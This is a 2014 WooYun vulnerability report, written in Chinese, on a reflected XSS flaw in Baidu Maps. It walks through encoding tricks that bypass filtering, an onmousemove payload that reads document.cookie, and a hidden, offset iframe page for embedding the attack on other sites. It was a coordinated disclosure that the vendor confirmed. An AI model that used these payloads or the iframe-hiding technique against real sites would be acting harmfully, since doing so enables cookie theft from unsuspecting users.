当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072321

漏洞标题:百度地图持久形XSS漏洞

相关厂商:百度

漏洞作者: q601333824

提交时间:2014-08-14 08:49

修复时间:2014-09-28 08:50

公开时间:2014-09-28 08:50

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:3

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-14: 细节已通知厂商并且等待厂商处理中
2014-08-14: 厂商已经确认,细节仅向厂商公开
2014-08-24: 细节向核心白帽子及相关领域专家公开
2014-09-03: 细节向普通白帽子公开
2014-09-13: 细节向实习白帽子公开
2014-09-28: 细节向公众公开

简要描述:

<script>alert(/我是标题党/)</script>

详细说明:


1.百度地图存在反射形XSS漏洞,但是被利用,可以变成持久形

2.存在XSS的连接

http://map.baidu.com/?newmap=1&shareurl=2&l=12&tn=B_NORMAL_MAP&c=13382905,3515188&s=bd%26fstq%3D1%26from%3Dwebmap%26c%3D179%26pn%3D0%26rn%3D10%26wd%3D<!XSS!>%26sivtp%3D1%26l%3D12%26bdfrom%3D1


3.上面那段代码,从参数&fstq开始,之后的参数带符号的都需要编码,不进行编码,搜索是空的,比如解码之后访问,如图

http://map.baidu.com/?newmap=1&shareurl=2&l=12&tn=B_NORMAL_MAP&c=13382905,3515188&s=bd&fstq=1&from=webmap&c=179&pn=0&rn=10&wd=<!XSS!>&sivtp=1&l=12&bdfrom=1


QQ截图20140814044439.png



4,如果测试的时候搜索是空的,大概是这个问题
---------------------------------------------------------------------------------------
5,然后.存在XSS的参数是&wd参数,因为这个参数会把单引号,当成双引号,然后被当成属性分割出去了.而且XSS刚好存在<a>标签里面,如图

QQ截图20140814045004.png


6.知道这个,然后再构造代码。

'onmousemove="alert(document.cookie)"style="font-size:999px;cursor: default !important;"


7.style属性把字体设置大点容易点到
8.然后要再把=等于号两次编码,因为这个参数测试的时候如果存在等于号的时候搜索内容清空,所以编码两次就不会清空了.

= → %3d → %253d


如图
构造好的代码

http://map.baidu.com/?newmap=1&shareurl=2&l=12&tn=B_NORMAL_MAP&c=13382905,3515188&s=bd%26fstq%3D1%26from%3Dwebmap%26c%3D179%26pn%3D0%26rn%3D10%26wd%3D'onmousemove%253D%22alert(document.cookie)%22style%253d%22font-size:999px;cursor:%20default%20!important;%22%26sivtp%3D1%26l%3D12%26bdfrom%3D1


9.如图

QQ截图20140814050147.png


10.当把鼠标移动到左边的时候就触发XSS了
------------------------------------------------------------------------------------------
11.这个时候百度会说,一般只有小白才会去点这个连接,而且鼠标还要移动上去,懂的人根本不会去点
12.这个时候可以用iframe框架,增加隐蔽
13.最终构造好的代码,下面

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>存储型XSS测试</title>
<style type="text/css">
body {
text-align:center}
</style>
</head>
<body>
<iframe src="http://map.baidu.com/?newmap=1&shareurl=2&l=12&tn=B_NORMAL_MAP&c=13382905,3515188&s=bd%26fstq%3D1%26from%3Dwebmap%26c%3D179%26pn%3D0%26rn%3D10%26wd%3D'onmousemove%253D%22alert(document.cookie)%22style%253d%22font-size:999px;cursor:%20default%20!important;%22%26sivtp%3D1%26l%3D12%26bdfrom%3D1" height="1000" width="350" style="position:absolute; left:500px; top:-500px;" scrolling="no">
</body>
</html>


14.上面那段代码简单说,就是,iframe框架里面加上反射XSS连接,然后设置宽和高,刚好和XSS范围大小一样,然后为了隐藏上面搜索栏的那段代码,可以设置绝对位置为负数,往上面移动,挡住搜索栏,这样就不会被看见了
15.最终效果图.如图

QQ截图20140814051310.png


16.看上面的图可以看出,可以当持久形XSS了,可以被人挂在自己的网站

漏洞证明:

1.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>存储型XSS测试</title>
<style type="text/css">
body {
text-align:center}
</style>
</head>
<body>
<iframe src="http://map.baidu.com/?newmap=1&shareurl=2&l=12&tn=B_NORMAL_MAP&c=13382905,3515188&s=bd%26fstq%3D1%26from%3Dwebmap%26c%3D179%26pn%3D0%26rn%3D10%26wd%3D'onmousemove%253D%22alert(document.cookie)%22style%253d%22font-size:999px;cursor:%20default%20!important;%22%26sivtp%3D1%26l%3D12%26bdfrom%3D1" height="1000" width="350" style="position:absolute; left:500px; top:-500px;" scrolling="no">
</body>
</html>


2.

QQ截图20140814051310.png


修复方案:

虽然不知道为什么单引号可以当成双引号,但是感觉好厉害的样子

版权声明:转载请注明来源 q601333824@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-08-14 13:35

厂商回复:

感谢对百度安全的支持。

最新状态:

暂无